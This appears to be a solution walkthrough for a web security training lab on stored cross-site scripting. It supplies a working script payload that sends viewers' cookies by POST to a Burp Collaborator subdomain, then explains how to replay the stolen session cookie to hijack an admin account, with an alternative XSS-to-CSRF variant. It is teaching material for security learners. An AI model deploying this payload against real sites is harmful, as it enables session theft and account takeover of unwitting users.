- Using Burp Suite Professional, go to the Collaborator tab.
- Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard.
-
Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>
This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server.
- Go back to the Collaborator tab, and click "Poll now". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again.
- Take a note of the value of the victim's cookie in the POST body.
-
Reload the main blog page, using Burp Proxy or Burp Repeater to replace your own session cookie with the one you captured in Burp Collaborator. Send the request to solve the lab. To prove that you have successfully hijacked the admin user's session, you can use the same cookie in a request to
/my-account
to load the admin user's account page.
Alternative solution
Alternatively, you could adapt the attack to make the victim post their session cookie within a blog comment by exploiting the XSS to perform CSRF. However, this is far less subtle because it exposes the cookie publicly, and also discloses evidence that the attack was performed.